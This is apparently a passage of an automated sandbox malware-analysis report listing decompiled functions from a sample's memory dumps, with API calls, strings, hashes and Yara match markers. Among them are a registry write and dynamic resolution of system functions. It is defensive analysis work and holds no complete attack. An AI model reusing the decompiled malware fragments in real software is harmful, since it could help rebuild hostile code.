Part of subcall function 02342A10: RegCreateKeyA.ADVAPI32(80000001,?,?), ref: 02342A25
Part of subcall function 02342A10: lstrlen.KERNEL32(?,00000000,00000000,?,?,?,00000000,?,?,?,0234191D,00000000,?), ref: 02342A53

RegSetValueExA.ADVAPI32(?,Client,00000000,00000003,?,00000028,00000001,?,?,00000057,?,?,023565E0,0236606C,?,02345D44), ref: 0234825C
RegCloseKey.ADVAPI32(?,?,00000057,?,?,023565E0,0236606C,?,02345D44,00000000,?), ref: 02348267

Strings

Client, xrefs: 02348254

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: CloseCreateValuelstrlen
String ID: Client
API String ID: 1356686001-3236430179
Opcode ID: 6217434baac6694c28ea2604050d74068ddcf917688ea19f695a0b00e7af4850
Instruction ID: 0f03d8f65cb5179b6cd933737da216a3279e2629bf83d5c50e058f7a19e780cc
Opcode Fuzzy Hash: 6217434baac6694c28ea2604050d74068ddcf917688ea19f695a0b00e7af4850
Instruction Fuzzy Hash: AFE09B72940115FFDF215A95DC0EE9EBBBDDB047A0F008051FE01B7150DAB19E109BE0

Uniqueness

Uniqueness Score: -1.00%

Function 003C6494, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E003C6494(struct tagPOINT* __eax) {
				struct HWND__* _t8;
				void* _t9;

				_push(__eax->y);
				_t8 = WindowFromPoint( *__eax);
				if(_t8 != 0) {
					while(E003C6434(_t8, _t9) == 0) {
						_t8 = GetParent(_t8);
						if(_t8 != 0) {
							continue;
						}
						goto L3;
					}
				}
				L3:
				return _t8;
			}

0x003c6495
0x003c649f
0x003c64a3
0x003c64a5
0x003c64b6
0x003c64ba
0x00000000
0x00000000
0x00000000
0x003c64ba
0x003c64a5
0x003c64bc
0x003c64bf

APIs

WindowFromPoint.USER32 ref: 003C649A

Part of subcall function 003C6434: GetWindowThreadProcessId.USER32(00000000), ref: 003C6441
Part of subcall function 003C6434: GetCurrentProcessId.KERNEL32(00000000,?,?,-0000000C,00000000,003C64AC,ec<,?,00000000,003C605E,?,-0000000C,?), ref: 003C644A
Part of subcall function 003C6434: GlobalFindAtomA.KERNEL32(00000000), ref: 003C645F
Part of subcall function 003C6434: GetPropA.USER32(00000000,00000000), ref: 003C6476

GetParent.USER32(00000000), ref: 003C64B1

Strings

ec<, xrefs: 003C6498

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: ProcessWindow$AtomCurrentFindFromGlobalParentPointPropThread
String ID: ec<
API String ID: 383691619-3504510010
Opcode ID: 7785151ea579ebfeacba9982df917b10054d13016441d4ddc1638f567382be14
Instruction ID: 3ebaf30f3ac7ea05fa38a5c0175a8a9095f94e85f69aa084c22e5d2d3202f2c8
Opcode Fuzzy Hash: 7785151ea579ebfeacba9982df917b10054d13016441d4ddc1638f567382be14
Instruction Fuzzy Hash: 20D0C9A1301B421BAF1B3FA68DD7F1636885F9430834140BCBA01DF223DE5ACC185350

Uniqueness

Uniqueness Score: -1.00%

Function 0039C6C0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0039C6C0() {
				void* _t1;
				void* _t3;
				void* _t4;
				void* _t5;
				void* _t6;

				_push("0]%");
				L003862B4();
				_t1 = CreateEventA(0, 0xffffffff, 0, 0x39c6f0);
				 *0x3db858 = _t1;
				if( *0x3db858 == 0) {
					return E0038C990(_t3, _t4, _t5, _t6);
				}
				return _t1;
			}

0x0039c6c0
0x0039c6c5
0x0039c6d5
0x0039c6da
0x0039c6e6
0x00000000
0x0039c6e8
0x0039c6ed

APIs

RtlInitializeCriticalSection.KERNEL32(0]%,0039DBCB,00000000,0039DC35), ref: 0039C6C5
CreateEventA.KERNEL32(00000000,000000FF,00000000,0039C6F0,0]%,0039DBCB,00000000,0039DC35), ref: 0039C6D5

Part of subcall function 0038C990: GetLastError.KERNEL32(00000000,0038CA20), ref: 0038C9AA

Strings

0]%, xrefs: 0039C6C0

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateCriticalErrorEventInitializeLastSection
String ID: 0]%
API String ID: 3069647169-2671496156
Opcode ID: 9fad53f2b739b008d2c0686a3887528d5bb98ea7d4f7416a60b648020b42fc96
Instruction ID: 55972fe7a0bfef5b777963b1c0a9ed3a9062cdd50c99db81241048fe66ab3819
Opcode Fuzzy Hash: 9fad53f2b739b008d2c0686a3887528d5bb98ea7d4f7416a60b648020b42fc96
Instruction Fuzzy Hash: AAD012306953D0EAEA037B606C47B04A2889700B24FA232CBF020291D2CBB010805A29

Uniqueness

Uniqueness Score: -1.00%

Function 00385EBC, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 11memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 00385EC5
TlsGetValue.KERNEL32 ref: 00385EDA

Strings

0<%, xrefs: 00385EDF

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocValue
String ID: 0<%
API String ID: 1189806713-3822948666
Opcode ID: ee040eaafd146984d01d471cdfd3f2cafc2a649ba108e61d79e68bb736ed15e3
Instruction ID: d12f07124b30af72ec75138dedae821cfe566259fd550422b517c787dbf67ca8
Opcode Fuzzy Hash: ee040eaafd146984d01d471cdfd3f2cafc2a649ba108e61d79e68bb736ed15e3
Instruction Fuzzy Hash: 13C002B5A12B51DADF03FBB5BD46689379CAB14741F0544A7B508CE961EB38EA009B20

Uniqueness

Uniqueness Score: -1.00%

Function 00381BAB, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00381BAB(void* __eax) {
				void* _t1;

				_t1 = __eax;
				if( *0x3db04d != 0) {
					_push("�\%");
					L00381370();
				}
				_push("�\%");
				L00381378();
				return _t1;
			}

0x00381bab
0x00381b8f
0x00381b91
0x00381b96
0x00381b96
0x00381b9b
0x00381ba0
0x00381ba5

APIs

RtlLeaveCriticalSection.KERNEL32(\%,00381BAD,002575B8,00000000,00381BA6), ref: 00381B96
RtlDeleteCriticalSection.KERNEL32(\%,00381BAD,002575B8,00000000,00381BA6), ref: 00381BA0

Strings

\%, xrefs: 00381B91, 00381B9B

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$DeleteLeave
String ID: \%
API String ID: 794802610-3107672707
Opcode ID: c99171a6ec930aaf9862ff9c075dcb7c72108753e2cc11a679f5bf0021ee4dce
Instruction ID: 2a3db5ed9fb2b6d1ee09bbe9bfa918d49fc7975589a559e652d1f924f02bdcff
Opcode Fuzzy Hash: c99171a6ec930aaf9862ff9c075dcb7c72108753e2cc11a679f5bf0021ee4dce
Instruction Fuzzy Hash: 55B0928A544741E4E72333B03826BA4868E0B82B40F8608D2F004149D22BC8044B8B91

Uniqueness

Uniqueness Score: -1.00%

Function 00477EA6, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E00477EA6(void* __eax, char _a4) {

				 *0x47d2b0 =  *0x47d2b0 & 0x00000000;
				_push(0);
				_push("�|&");
				_push(1);
				_t1 =  &_a4; // 0x4d283a53
				_push( *_t1);
				 *0x47d2a8 = 0xc;
				L0047A6BF();
				return __eax;
			}

0x00477ea6
0x00477ead
0x00477eaf
0x00477eb4
0x00477eb6
0x00477eb6
0x00477eba
0x00477ec4
0x00477ec9

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorA.ADVAPI32(S:(M,00000001,|&,00000000), ref: 00477EC4

Strings

S:(M, xrefs: 00477EB6
|&, xrefs: 00477EAF

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: DescriptorSecurity$ConvertString
String ID: S:(M$|&
API String ID: 3907675253-3931170189
Opcode ID: db31789cff6d1aa76b6a1c09464bf3068542a8af03d402398b559c90fff325fd
Instruction ID: 4378bc0c86787b570eeea2574cf750266b15d2ca8b2ddd136c5ad96a2880306d
Opcode Fuzzy Hash: db31789cff6d1aa76b6a1c09464bf3068542a8af03d402398b559c90fff325fd
Instruction Fuzzy Hash: F7C04C79564340AAE621AF00DC46F4A7671BFD0705F204559B548241F2D7F99099951D

Uniqueness

Uniqueness Score: -1.00%

Function 0039C6F4, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E0039C6F4() {
				void* _t1;

				_push("0]%");
				L00386184();
				_t1 =  *0x3db858; // 0xd0
				return CloseHandle(_t1);
			}

0x0039c6f4
0x0039c6f9
0x0039c6fe
0x0039c709

APIs

RtlDeleteCriticalSection.KERNEL32(0]%,0039DB7E), ref: 0039C6F9
CloseHandle.KERNEL32(000000D0), ref: 0039C704

Strings

0]%, xrefs: 0039C6F4

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCriticalDeleteHandleSection
String ID: 0]%
API String ID: 1370521891-2671496156
Opcode ID: 638872a0919c0c9be362b367c0ce96668d12866d65d960bd363f08903111ad33
Instruction ID: cbccb0fed79c3406500e4b94ac53ed5082f99b2b7cf81e66a4d248a7393bac7c
Opcode Fuzzy Hash: 638872a0919c0c9be362b367c0ce96668d12866d65d960bd363f08903111ad33
Instruction Fuzzy Hash: E9A002555413D4D6C903F7E46C5F955939C56457447C1148AF1404A353CA6994405751

Uniqueness

Uniqueness Score: -1.00%

Function 02347260, Relevance: 5.2, APIs: 4, Instructions: 234COMMON

Download Yara Rule

APIs

memcpy.NTDLL(-00000040,023562EB,00000800,00000000,00000000,00000000,00000000), ref: 023474A2

Part of subcall function 0234F83A: GetModuleHandleA.KERNEL32(4C44544E,00000020,00000000,023535AA,?,?,?,?,02347370,?,?,00000000,00000000,00000000), ref: 0234F85F
Part of subcall function 0234F83A: GetProcAddress.KERNEL32(00000000,7243775A,?,02347370,?,?,00000000,00000000), ref: 0234F881
Part of subcall function 0234F83A: GetProcAddress.KERNEL32(00000000,614D775A,?,02347370,?,?,00000000,00000000), ref: 0234F897
Part of subcall function 0234F83A: GetProcAddress.KERNEL32(00000000,6E55775A,?,02347370,?,?,00000000,00000000), ref: 0234F8AD
Part of subcall function 0234F83A: GetProcAddress.KERNEL32(00000000,4E6C7452,?,02347370,?,?,00000000,00000000), ref: 0234F8C3
Part of subcall function 0234F83A: GetProcAddress.KERNEL32(00000000,6C43775A,?,02347370,?,?,00000000,00000000), ref: 0234F8D9

Part of subcall function 0235DB81: memcpy.NTDLL(?,?,?,00000000,00000000,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 0235DBE7
Part of subcall function 0235DB81: memcpy.NTDLL(00000000,?,?), ref: 0235DC46

memcpy.NTDLL(?,00000000,?,?,023535AA,00000000,00000000,00000000,?,?,00000000,00000000,00000000), ref: 023473CF
memcpy.NTDLL(00000018,00000000,00000018,?,023535AA,00000000,00000000,00000000,?,?,00000000,00000000,00000000), ref: 0234741B
memset.NTDLL ref: 02347522

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: AddressProcmemcpy$HandleModulememset
String ID:
API String ID: 2847270571-0
Opcode ID: df0e14920ec5dc26e4ee6dbc1bac155eeadf9d7396ef843994e7f50c23b512d1
Instruction ID: 8a6ee2847ec099734e26674c74b0d5942a93a17b6a31a8731bbc347630e9984b
Opcode Fuzzy Hash: df0e14920ec5dc26e4ee6dbc1bac155eeadf9d7396ef843994e7f50c23b512d1
Instruction Fuzzy Hash: F9911871E0020AEFDB11DF98C984BAEBBF5FF04308F5444A9E855A7651DB30AA54CB90

Uniqueness

Uniqueness Score: -1.00%

Function 023420CA, Relevance: 5.2, APIs: 4, Instructions: 165memoryCOMMON

Download Yara Rule

APIs

memset.NTDLL ref: 02342128
CloseHandle.KERNEL32(?), ref: 02342173
HeapFree.KERNEL32(00000000,?,?), ref: 0234247E
GetLastError.KERNEL32(?,?), ref: 0234272E

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: CloseErrorFreeHandleHeapLastmemset
String ID:
API String ID: 2333114656-0
Opcode ID: 215e8afc51d4a98ebbc16141f0268d69ebac7ac59767e75741e70043f5bd21c0
Instruction ID: 5ea70006c9b8df958be8573a09cd2047738c98905e16d114bfac19962c1ac761
Opcode Fuzzy Hash: 215e8afc51d4a98ebbc16141f0268d69ebac7ac59767e75741e70043f5bd21c0
Instruction Fuzzy Hash: 9A41DF35604208FAEB216E60DC41FBF3AEEAB41754F1044E2FD06B5092DEB4BD11CA76

Uniqueness

Uniqueness Score: -1.00%

Function 02341E39, Relevance: 5.1, APIs: 4, Instructions: 110COMMON

Download Yara Rule

APIs

memset.NTDLL ref: 02341E5F
memcpy.NTDLL ref: 02341E87

Part of subcall function 023534F7: RtlNtStatusToDosError.NTDLL(00000000), ref: 0235352F
Part of subcall function 023534F7: SetLastError.KERNEL32(00000000), ref: 02353536

GetLastError.KERNEL32(?,?,02361B9D,00000100), ref: 02341E9E
GetLastError.KERNEL32(?,?,?,00000318,?,?,?,?,?,?,?,?,?,?,02361B9D,00000100), ref: 02341F81

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Error$Last$Statusmemcpymemset
String ID:
API String ID: 1706616652-0
Opcode ID: 9a98532007cf30bf67d77982141430c992b111d9edf54577cb4bd7780a6d6bb8
Instruction ID: 0005a2a2bbcb51a64c8a5b48e0a0560595516c3e67e6569262067db01547a8af
Opcode Fuzzy Hash: 9a98532007cf30bf67d77982141430c992b111d9edf54577cb4bd7780a6d6bb8
Instruction Fuzzy Hash: 8D417FB1604701AFD760DF28C841BABB7E9BF48710F008A2DF999C6250EB70E5558BA2

Uniqueness

Uniqueness Score: -1.00%

Function 02353B99, Relevance: 5.1, APIs: 4, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0234E26B: lstrlen.KERNEL32(00000000,?,?), ref: 0234E2C4
Part of subcall function 0234E26B: lstrlen.KERNEL32(?,?,?), ref: 0234E2E2
Part of subcall function 0234E26B: RtlAllocateHeap.NTDLL(00000000,766F59F0,?), ref: 0234E30B
Part of subcall function 0234E26B: memcpy.NTDLL(00000000,00000000,00000000), ref: 0234E322
Part of subcall function 0234E26B: HeapFree.KERNEL32(00000000,00000000), ref: 0234E335
Part of subcall function 0234E26B: memcpy.NTDLL(00000000,?,?), ref: 0234E344

GetLastError.KERNEL32 ref: 02353C38

Part of subcall function 02347174: HeapFree.KERNEL32(00000000,00000000,00000000), ref: 02347228
Part of subcall function 02347174: HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0234724C
Part of subcall function 02347174: HeapFree.KERNEL32(00000000,00000000), ref: 02347257

HeapFree.KERNEL32(00000000,?), ref: 02353C54
HeapFree.KERNEL32(00000000,?), ref: 02353C65
SetLastError.KERNEL32(00000000), ref: 02353C68

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Heap$Free$ErrorLastlstrlenmemcpy$Allocate
String ID:
API String ID: 2451549186-0
Opcode ID: adf2330fe9c30bc3c614bfb6dd896fdfbc0eddf73860daf886bae236d243d946
Instruction ID: 3ed1c63daaf4720081bbc18f4407bc0f7c0cd53fe35fd45263e62a4838174185
Opcode Fuzzy Hash: adf2330fe9c30bc3c614bfb6dd896fdfbc0eddf73860daf886bae236d243d946
Instruction Fuzzy Hash: 44312671900228FFCF129FA9CD44C9EBFB9EF48764F108596F916A6120C7319AA19F90

Uniqueness

Uniqueness Score: -1.00%

Function 0234FE1A, Relevance: 5.1, APIs: 4, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 023598F0: lstrlenW.KERNEL32(?,00000000,?,?,00000001,00000001,?,0234FE50,?,?,?,?), ref: 02359914
Part of subcall function 023598F0: RtlAllocateHeap.NTDLL(00000000,00000001), ref: 02359926
Part of subcall function 023598F0: wcstombs.NTDLL ref: 02359934
Part of subcall function 023598F0: lstrlen.KERNEL32(00000000,00000000,?,?,00000001,00000001,?,0234FE50,?,?,?,?,?), ref: 02359958
Part of subcall function 023598F0: RtlAllocateHeap.NTDLL(00000000,00000002), ref: 0235996D
Part of subcall function 023598F0: mbstowcs.NTDLL ref: 0235997A
Part of subcall function 023598F0: HeapFree.KERNEL32(00000000,00000000), ref: 0235998C
Part of subcall function 023598F0: HeapFree.KERNEL32(00000000,00000000,00000001), ref: 023599A6

GetLastError.KERNEL32 ref: 0234FEB9

Part of subcall function 02347174: HeapFree.KERNEL32(00000000,00000000,00000000), ref: 02347228
Part of subcall function 02347174: HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0234724C
Part of subcall function 02347174: HeapFree.KERNEL32(00000000,00000000), ref: 02347257

HeapFree.KERNEL32(00000000,?), ref: 0234FED5
HeapFree.KERNEL32(00000000,?), ref: 0234FEE6
SetLastError.KERNEL32(00000000), ref: 0234FEE9

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Heap$Free$AllocateErrorLastlstrlen$mbstowcswcstombs
String ID:
API String ID: 3867366388-0
Opcode ID: 1c6ffe7539c7192484148db41d2457e13ddb7bc59b1c8209f8ac1848cc4c6029
Instruction ID: 39e8515dea99cb6502fe8cfd14d1df6f6a5c84c6e09c81872fdb858314a23063
Opcode Fuzzy Hash: 1c6ffe7539c7192484148db41d2457e13ddb7bc59b1c8209f8ac1848cc4c6029
Instruction Fuzzy Hash: 69316932900208FFCF129F99DC448EEBFB9EF48715F048596F919A6521C7319AA1DF90

Uniqueness

Uniqueness Score: -1.00%

Function 004791F1, Relevance: 5.1, APIs: 4, Instructions: 70
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E004791F1(void* __eax, void* __ecx, void* _a4, void** _a8, intOrPtr* _a12) {
				intOrPtr* _v8;
				void* _t17;
				intOrPtr* _t22;
				void* _t27;
				char* _t30;
				void* _t33;
				void* _t34;
				void* _t36;
				void* _t37;
				void* _t39;
				int _t42;

				_t17 = __eax;
				_t37 = 0;
				__imp__(_a4, _t33, _t36, _t27, __ecx);
				_t2 = _t17 + 1; // 0x1
				_t28 = _t2;
				_t34 = E004716F8(_t2);
				if(_t34 != 0) {
					_t30 = E004716F8(_t28);
					if(_t30 == 0) {
						E004770FF(_t34);
					} else {
						_t39 = _a4;
						_t22 = E0047A8BD(_t39);
						_v8 = _t22;
						if(_t22 == 0 ||  *_t22 !=  *((intOrPtr*)(_t22 + 1))) {
							_a4 = _t39;
						} else {
							_t26 = _t22 + 2;
							_a4 = _t22 + 2;
							_t22 = E0047A8BD(_t26);
							_v8 = _t22;
						}
						if(_t22 == 0) {
							__imp__(_t34, _a4);
							 *_t30 = 0x2f;
							 *((char*)(_t30 + 1)) = 0;
						} else {
							_t42 = _t22 - _a4;
							memcpy(_t34, _a4, _t42);
							 *((char*)(_t34 + _t42)) = 0;
							__imp__(_t30, _v8);
						}
						 *_a8 = _t34;
						_t37 = 1;
						 *_a12 = _t30;
					}
				}
				return _t37;
			}

0x004791f1
0x004791fb
0x004791fd
0x00479203
0x00479203
0x0047920c
0x00479210
0x0047921c
0x00479220
0x00479294
0x00479222
0x00479222
0x00479226
0x0047922d
0x00479230
0x0047924a
0x00479239
0x00479239
0x0047923d
0x00479240
0x00479245
0x00479245
0x0047924f
0x00479277
0x0047927d
0x00479280
0x00479251
0x00479253
0x0047925b
0x00479266
0x0047926b
0x0047926b
0x00479287
0x0047928e
0x0047928f
0x0047928f
0x00479220
0x0047929f

APIs

lstrlen.KERNEL32(00000000,00000008,?,766F11C0,?,?,0047439F,?,?,?,?,00000102,004792E3,?,?,00000000), ref: 004791FD

Part of subcall function 004716F8: RtlAllocateHeap.NTDLL(00000000,00000000,0047147D), ref: 00471704

Part of subcall function 0047A8BD: StrChrA.SHLWAPI(?,0000002F), ref: 0047A8CB
Part of subcall function 0047A8BD: StrChrA.SHLWAPI(?,0000003F), ref: 0047A8D5

memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,0047439F,?,?,?,?,00000102,004792E3,?), ref: 0047925B
lstrcpy.KERNEL32(00000000,00000000), ref: 0047926B
lstrcpy.KERNEL32(00000000,00000000), ref: 00479277

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrcpy$AllocateHeaplstrlenmemcpy
String ID:
API String ID: 3767559652-0
Opcode ID: 81ad82d121480bda67a98c5c78dc979cb082680d3727babc049a533d0a744028
Instruction ID: 3377bbd16cdc1f0eeed6d259d5d68d57f4293c9f56f2dad0528935e9db07201b
Opcode Fuzzy Hash: 81ad82d121480bda67a98c5c78dc979cb082680d3727babc049a533d0a744028
Instruction Fuzzy Hash: 7621AE72504255FFCB016FA9C884ADE7FA89F46394B14C49AF80DAB212D738DD0187E5

Uniqueness

Uniqueness Score: -1.00%

Function 0234ACB5, Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000008,00000000,00000000,?,?,023569D6,00000000,00000000,00000004,00000000,?,0234FAC6,?,?,00000000), ref: 0234ACC1

Part of subcall function 02350F24: RtlAllocateHeap.NTDLL(00000000,?,02354D76), ref: 02350F30

Part of subcall function 02361122: StrChrA.SHLWAPI(?,0000002F), ref: 02361130
Part of subcall function 02361122: StrChrA.SHLWAPI(?,0000003F), ref: 0236113A

memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,023569D6,00000000,00000000,00000004,00000000,?,0234FAC6,?), ref: 0234AD1F
lstrcpy.KERNEL32(00000000,00000000), ref: 0234AD2F
lstrcpy.KERNEL32(00000000,00000000), ref: 0234AD3B

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: lstrcpy$AllocateHeaplstrlenmemcpy
String ID:
API String ID: 3767559652-0
Opcode ID: 223f52a30969ea0a5213bb5d1d12ed05f1e6e896b00ddcc745406a9196c01807
Instruction ID: 26bcd75fb8df001966972c44d977fad781eb78cd9b61d66953cfa8df3217e3ca
Opcode Fuzzy Hash: 223f52a30969ea0a5213bb5d1d12ed05f1e6e896b00ddcc745406a9196c01807
Instruction Fuzzy Hash: F2219072544255ABCB229F64C868EAE7FEDEF06384B058095F9499B211DF31E941CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00478B9C, Relevance: 5.0, APIs: 4, Instructions: 39
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00478B9C(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				void* _v8;
				void* _t18;
				int _t25;
				int _t29;
				int _t34;

				_t29 = lstrlenW(_a4);
				_t25 = lstrlenW(_a8);
				_t18 = E004716F8(_t25 + _t29 + _t25 + _t29 + 2);
				_v8 = _t18;
				if(_t18 != 0) {
					_t34 = _t29 + _t29;
					memcpy(_t18, _a4, _t34);
					_t10 = _t25 + 2; // 0x2
					memcpy(_v8 + _t34, _a8, _t25 + _t10);
				}
				return _v8;
			}

0x00478bb1
0x00478bb5
0x00478bbf
0x00478bc6
0x00478bc9
0x00478bcb
0x00478bd3
0x00478bd8
0x00478be6
0x00478beb
0x00478bf5

APIs

lstrlenW.KERNEL32(004F0053,766F1499,?,00000008,03BC9594,?,00479DF1,004F0053,03BC9594,?,?,?,?,?,?,0047876C), ref: 00478BAC
lstrlenW.KERNEL32(00479DF1,?,00479DF1,004F0053,03BC9594,?,?,?,?,?,?,0047876C), ref: 00478BB3

Part of subcall function 004716F8: RtlAllocateHeap.NTDLL(00000000,00000000,0047147D), ref: 00471704

memcpy.NTDLL(00000000,004F0053,766F16D0,?,?,00479DF1,004F0053,03BC9594,?,?,?,?,?,?,0047876C), ref: 00478BD3
memcpy.NTDLL(766F16D0,00479DF1,00000002,00000000,004F0053,766F16D0,?,?,00479DF1,004F0053,03BC9594), ref: 00478BE6

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlenmemcpy$AllocateHeap
String ID:
API String ID: 2411391700-0
Opcode ID: a15e6e5233f10e18a310a9b8b7ce91565c7fbbb003f5bf985334b16a82284148
Instruction ID: d60e2430ce2c91e654adbdd188d1d7251c3ae320bb531f6036527246f86e169d
Opcode Fuzzy Hash: a15e6e5233f10e18a310a9b8b7ce91565c7fbbb003f5bf985334b16a82284148
Instruction Fuzzy Hash: D4F03C72900118BB8F10EFA9CC85CDA7BACEF49358B05806AFD08D7211E735EA118BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00474561, Relevance: 5.0, APIs: 4, Instructions: 27stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(03BC9C38,00000000,00000000,754294D8,00478EFD,00000000), ref: 00474571
lstrlen.KERNEL32(?), ref: 00474579

Part of subcall function 004716F8: RtlAllocateHeap.NTDLL(00000000,00000000,0047147D), ref: 00471704

lstrcpy.KERNEL32(00000000,03BC9C38), ref: 0047458D
lstrcat.KERNEL32(00000000,?), ref: 00474598

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$AllocateHeaplstrcatlstrcpy
String ID:
API String ID: 74227042-0
Opcode ID: b0b28f59a3c63e109f3fd73b18080dc32d18c2f4b4e2a3322f5f4ff24bda21d7
Instruction ID: 0d856b9e7ad4e22bc043565084dd5b8e4bfeaca256949a4ec167c6b23e50f9da
Opcode Fuzzy Hash: b0b28f59a3c63e109f3fd73b18080dc32d18c2f4b4e2a3322f5f4ff24bda21d7
Instruction Fuzzy Hash: 91E09233901261AB87119FE8AC88C9FBBADEF89651304442BF608E3120C72488458BE9

Uniqueness

Uniqueness Score: -1.00%

Function 0235172A, Relevance: 5.0, APIs: 4, Instructions: 24stringCOMMON

Download Yara Rule

APIs

